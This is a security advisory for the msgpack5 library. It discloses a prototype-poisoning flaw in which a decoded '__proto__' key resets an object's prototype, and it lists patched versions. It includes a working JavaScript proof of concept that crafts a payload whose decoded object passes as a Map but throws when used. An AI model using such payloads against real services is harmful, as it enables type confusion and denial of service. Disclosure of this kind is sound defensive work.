Impact

The issue is as follows: when msgpack5 decodes a map containing a
key "__proto__", it assigns the decoded value to __proto__. As you
are no doubt aware, Object.prototype.__proto__ is an accessor
property for the receiver's prototype. If the value corresponding to
the key __proto__ decodes to an object or null, msgpack5 sets
the decoded object's prototype to that value.

An attacker who can submit crafted MessagePack data to a service can
use this to produce values that appear to be of other types; may have
unexpected prototype properties and methods (for example length,
numeric properties, and push et al if __proto__'s value decodes to
an Array); and/or may throw unexpected exceptions when used (for
example if the __proto__ value decodes to a Map or Date). Other
unexpected behavior might be produced for other types.

There is no effect on the global prototype.

An example:

const msgpack5 = require('msgpack5')(); 

const payload = {}; 
Object.defineProperty(payload, '__proto__', { 
value: new Map().set(1, 2), 
enumerable: true 
}); 

const encoded = msgpack5.encode(payload); 
console.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02> 

const decoded = msgpack5.decode(encoded); 

// decoded's prototype has been overwritten 
console.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 } 
console.log(decoded.get); // [Function: get] 

// decoded appears to most common typechecks to be a Map 
console.log(decoded instanceof Map); // true 
console.log(decoded.toString()); // [object Map] 
console.log(Object.prototype.toString.call(decoded)); // [object Map] 
console.log(decoded.constructor.name); // Map 
console.log(Object.getPrototypeOf(decoded).constructor.name); // Map 

// decoded is not, however, a Map 
console.log(Object.getPrototypeOf(decoded) === Map.prototype); // false 

// using decoded as though it were a Map throws 
try { 
decoded.get(1); 
} catch (error) { 
console.log(error); // TypeError: Method Map.prototype.get called 
// on incompatible receiver #<Map> 
} 
try { 
decoded.size; 
} catch (error) { 
console.log(error); // TypeError: Method get Map.prototype.size 
// called on incompatible receiver #<Map> 
} 

// re-encoding the decoded value throws 
try { 
msgpack5.encode(decoded); 
} catch (error) { 
console.log(error); // TypeError: Method Map.prototype.entries 
// called on incompatible receiver #<Map> 
} 

This "prototype poisoning" is sort of a very limited inversion of a
prototype pollution attack. Only the decoded value's prototype is
affected, and it can only be set to msgpack5 values (though if the
victim makes use of custom codecs, anything could be a msgpack5
value). We have not found a way to escalate this to true prototype
pollution (absent other bugs in the consumer's code).

Patches

Versions v5.2.1, v4.5.1, v3.6.1 include the fix.

Workarounds

Always validate incoming data after parsing before doing any processing.

For more information

If you have any questions or comments about this advisory:

• Open an issue in example link to repo
• Email us at example email address